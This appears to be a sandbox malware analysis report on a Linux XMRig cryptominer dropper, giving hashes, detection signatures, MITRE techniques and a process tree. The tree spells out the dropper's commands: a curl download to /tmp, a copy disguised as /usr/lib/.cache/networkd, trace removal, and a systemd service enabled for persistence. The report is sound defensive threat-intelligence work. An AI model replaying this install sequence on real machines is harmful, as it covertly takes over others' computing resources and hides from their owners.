xmrig_linux | 66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899

Analysis

max time kernel
24s
max time network
10s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
31/08/2026, 23:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
Size 6KB
Sample260831-285bvsaf37
SHA256 66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
MD5 dd597326da3d8496e2e4ce32a09b4490
SHA1 81a8cf651553a76b3441e59a9f910e560b85d83f
SHA512 3ab8d75eeebbbfdb64da5adf1c336e9462bc4a2510ef263d9218ade19e6a6c7b8e16139995571025c6243452b8e992416935b9d71a9d667a4b91620bf0fde7b3
SSDEEP 192:xcrMMtAvPkfp3plZ4/7d8w73osYfGVkYC0d0C:G1Rm/ZMfG/
TLSH
T179D1D9C2FC24293232ADD0706F86626DFA2516170D697E58B08D703C376EB99913EBF4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery xmrig_linux miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral3/files/fstream-4.dat	family_xmrig
behavioral3/files/fstream-4.dat	xmrig

Executes dropped EXE 1 IoCs

ioc	pid	Process
/usr/lib/.cache/networkd	780	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/networkd.service	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899

Reads CPU attributes 1 TTPs 2 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/24/cmdline	pkill
File opened for reading	/proc/filesystems	pkill
File opened for reading	/proc/686/status	pkill
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/730/status	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/80/status	pkill
File opened for reading	/proc/660/status	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/151/cmdline	pkill
File opened for reading	/proc/331/cmdline	pkill
File opened for reading	/proc/709/status	pkill
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/73/status	pkill
File opened for reading	/proc/123/cmdline	pkill
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/337/cmdline	pkill
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/124/cmdline	pkill
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/5/cmdline	pkill
File opened for reading	/proc/333/status	pkill
File opened for reading	/proc/714/status	pkill
File opened for reading	/proc/5/cmdline	pkill
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/151/cmdline	pkill
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/174/status	pkill
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/174/status	pkill
File opened for reading	/proc/72/status	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/381/status	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/76/status	pkill
File opened for reading	/proc/686/cmdline	pkill
File opened for reading	/proc/331/cmdline	pkill
File opened for reading	/proc/77/cmdline	pkill
File opened for reading	/proc/109/status	pkill
File opened for reading	/proc/72/status	pkill
File opened for reading	/proc/73/cmdline	pkill
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/709/cmdline	pkill
File opened for reading	/proc/710/cmdline	pkill
File opened for reading	/proc/714/status	pkill

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xmrig.tgz	curl
File opened for modification	/tmp/xmrig	cp
File opened for modification	/tmp/sh-thd.KYlbsQ	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
File opened for modification	/tmp/.nettest.json	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
File opened for modification	/tmp/.nettest.log	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
File opened for modification	/tmp/sh-thd.a4DLGJ	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899

/tmp/66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
/tmp/66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
1⤵
- Executes dropped EXE
- Modifies systemd
- Writes file to tmp directory
PID:712
- /bin/hostname
  hostname
  2⤵
  PID:717
- /usr/bin/tr
  tr -cd "[:alnum:]-"
  2⤵
  PID:718
- /usr/bin/id
  id -u
  2⤵
  PID:723
- /usr/bin/whoami
  whoami
  2⤵
  PID:725
- /bin/hostname
  hostname
  2⤵
  PID:728
- /usr/bin/pkill
  pkill -f /usr/lib/.cache/networkd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:730
- /usr/bin/pkill
  pkill -f /tmp/xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:734
- /bin/sleep
  sleep 1
  2⤵
  PID:737
- /usr/bin/curl
  curl -fsSL -o /tmp/xmrig.tgz https://github.com/xmrig/xmrig/releases/download/v6.26.0/xmrig-6.26.0-linux-static-x64.tar.gz
  2⤵
  - Writes file to tmp directory
  PID:747
- /usr/bin/sha256sum
  sha256sum /tmp/xmrig.tgz
  2⤵
  PID:751
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  - Reads runtime system information
  PID:752
- /bin/tar
  tar xzf /tmp/xmrig.tgz
  2⤵
  PID:753
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:754
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:754
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:754
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:754
- - /sbin/gzip
    gzip -d
    3⤵
    PID:754
- - /bin/gzip
    gzip -d
    3⤵
    PID:754
- /bin/cp
  cp -f /tmp/xmrig-6.26.0/xmrig /tmp/xmrig
  2⤵
  - Writes file to tmp directory
  PID:759
- /bin/mkdir
  mkdir -p /usr/lib/.cache
  2⤵
  - Reads runtime system information
  PID:763
- /bin/cp
  cp -f /tmp/xmrig /usr/lib/.cache/networkd
  2⤵
  PID:764
- /bin/chmod
  chmod 750 /usr/lib/.cache/networkd
  2⤵
  PID:768
- /bin/chown
  chown root:root /usr/lib/.cache/networkd
  2⤵
  PID:769
- /bin/rm
  rm -rf /tmp/xmrig /tmp/xmrig.tgz /tmp/xmrig-6.26.0
  2⤵
  PID:770
- /bin/cat
  cat
  2⤵
  PID:772
- /bin/chmod
  chmod 600 /usr/lib/.cache/.net.json
  2⤵
  PID:773
- /bin/chown
  chown root:root /usr/lib/.cache/.net.json
  2⤵
  PID:775
- /bin/date
  date "+%s"
  2⤵
  PID:776
- /bin/sed
  sed s/vps-debian9-mipsbe-20260513-en-5-01/deploytest-1788218176-712/ /usr/lib/.cache/.net.json
  2⤵
  PID:777
- /bin/sleep
  sleep 8
  2⤵
  PID:781
- /usr/lib/.cache/networkd
  /usr/lib/.cache/networkd --config /tmp/.nettest.json
  2⤵
  PID:780
- /usr/bin/tail
  tail -5 /tmp/.nettest.log
  2⤵
  PID:814
- /bin/sleep
  sleep 1
  2⤵
  PID:815
- /bin/rm
  rm -f /tmp/.nettest.json /tmp/.nettest.log
  2⤵
  PID:819
- /bin/systemctl
  systemctl list-units
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:821
- /bin/cat
  cat
  2⤵
  PID:822
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:824
- /bin/systemctl
  systemctl enable /etc/systemd/system/networkd.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:848
- /bin/systemctl
  systemctl restart /etc/systemd/system/networkd.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:869

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

networkd.service

Path /etc/systemd/system/networkd.service
Size 413B
SHA256 481c43849ffe965bfa4872016afe3187ae752cdcdc8b5b9f24f09e9029fdd5ad
MD5 cca9c081d53bff817ee8d502d73c91ed
SHA1 65374d6c60fa642536e0b7c37e9bef4edfd48a4c
SHA512 2f7ad52d5e6c12250436a8a7099fac8190d9b8c5e136f022646d6f0a7663a922c6d4d4f2b5f854d0079a0af0de5ebe55f6b29da4c090c0cfd2d694c6aeb6b318
TLSH
T1CBE02B139B2B25B3DA0A3D6889A39B24459051415D8FB8FC6A932BD0B4E1345D039AAD
MD5 SHA1 SHA512 TLSH

Submit Download

.nettest.json

Path /tmp/.nettest.json
Size 836B
SHA256 a1650a7841b94f91ea8be8f6f89c913a46f74dbb29e299c6f128999d2c2d0a90
MD5 d9e9fa309ef17e696711bed40943a325
SHA1 9c5b64ba05c22260737d83fec69b9b0b9eb17443
SHA512 44a0fc95a17b34315c7e5a89058731da400208182384faa1ee27f0d0200de0a16b8ebb82d71524269153138632eb793244e67291c666a51f6b9d0bdcdde37f90
TLSH
T10B012620C8780DB711E5703C54BDA2431B649A4B1DA53EAAB25C562D2F0EB7FE2B22D4
MD5 SHA1 SHA512 TLSH

Submit Download

sh-thd.KYlbsQ

Path /tmp/sh-thd.KYlbsQ
Size 846B
SHA256 588a5c341ca169ff9581d973ec0888e60f6c5c3a00d8089aec13b547028f7517
MD5 fd2e8c4dfdf049e2dd46ceecad547279
SHA1 22063af7bcf682c62cfc017a37201b31350319f2
SHA512 35af6293468fd39604024078b401f66f4bebe398f12797a577426676cda4c2f81791dcd077f3826c4429714597e9827908559a0a82334b7ecc507c3164a06121
TLSH
T1C7014720D8740DB70595302C54BDA2431B644A4B0DA53E69765C162D2F0EB6FE1B22D0
MD5 SHA1 SHA512 TLSH

Submit Download

SHA256SUMS

Path /tmp/xmrig-6.26.0/SHA256SUMS
Size 150B
SHA256 dfa7c8ebcece392e8ecd4ec56c1e06ff2984068ab81dcada8e65191416be04a9
MD5 791e88a05b74acc879e2bf9379d41fe3
SHA1 44cc4715da1c370d631e20f206f5381d39d835f2
SHA512 3c663ba0667e9c1a95c8a1aa0eb8838488828b628424cbb5d5fa6e98d96a4b87b83e744a1ad0ee7f9acf1d44a43575ab4b70676e448bb7ff7c27511007ac8d3e
TLSH
T1B8C08CB9510D79E3973CD2A5BAF8ACE698012B8A301424109B80886284B56D0D80B828
MD5 SHA1 SHA512 TLSH

Submit Download

config.json

Path /tmp/xmrig-6.26.0/config.json
Size 2KB
SHA256 a6a710135483296b9a943dc3ed31d6a1396b5cfeb127ab0d7e5c6bf49785130a
MD5 54e9f45448cfc5c6f2506cf89d771fd5
SHA1 c9de25d2c995d1ba2eda402dbe03c409909b842b
SHA512 d616e929fe91d14976a26e511ec50f8f3520924349d3eb04ab785787224f8cd53ed69ba4978a61e6e7f3b6f4e26a69d7d41b59e31d7339ee250c3ea332bae485
TLSH
T17841AD25C9780CBA0294A0BC88EDA293462881075F593C3CB54C995C2F0E73E76B6BE6
MD5 SHA1 SHA512 TLSH

Submit Download

xmrig

Path /tmp/xmrig-6.26.0/xmrig
Size 8.0MB
SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
MD5 e1b3e738928012a07dfce8659b3ff31d
SHA1 c9bb4fc8eadaad35e50de087e3bbd5969cb2df2f
SHA512 cb8b152ebecad5cffdc635ee9ba7e7b3007772b16088aa48e1374e1230db52ae0f2b135369085e6c64a9e61821244b7b0fa2cb13d7fd48af1668c9133d942835
SSDEEP 98304:YSKSi/FM70AF/Auk3zX0H6aguAcFZqKjjMRPEkLqm7XyGkNA4xT0+x2gGYwZsVZ2:ssQLqmjsxymsONkEZqIzolQdo
TLSH
T17E865B47B6E318FDC19AC470472FD663BD70B8984221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xmrig.tgz

Path /tmp/xmrig.tgz
Size 3.4MB
SHA256 fc6f8ae5f64e4f17481f7e3be29a1c56949f216a998414188003eae1db20c9e5
MD5 3988ac93e8e894b74de7794c93d3ff7d
SHA1 7223b8c6b98689ca38539826230c4855276129b2
SHA512 609aa97a29cf90b17d27afd0995856052b8c766530bfc60c5f0ccb3725c47f12eb7264085e18c2b6a9cbe298108c59308e04e806e8d431e0f7ea631d3f909733
SSDEEP 98304:fJmUq2XrJrxFzMo2bUa9FI/QGNSeeQorTHOIZdBXbgXoxn7EEPKdWcK:fJ3dp7Ao2HIoiSefo/HOyTXb/xn7hQK
TLSH
T1C7F533A69112DD877526B7E37FF70480A5891672008ED42789F46CFC66CE3CA6D9F22C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads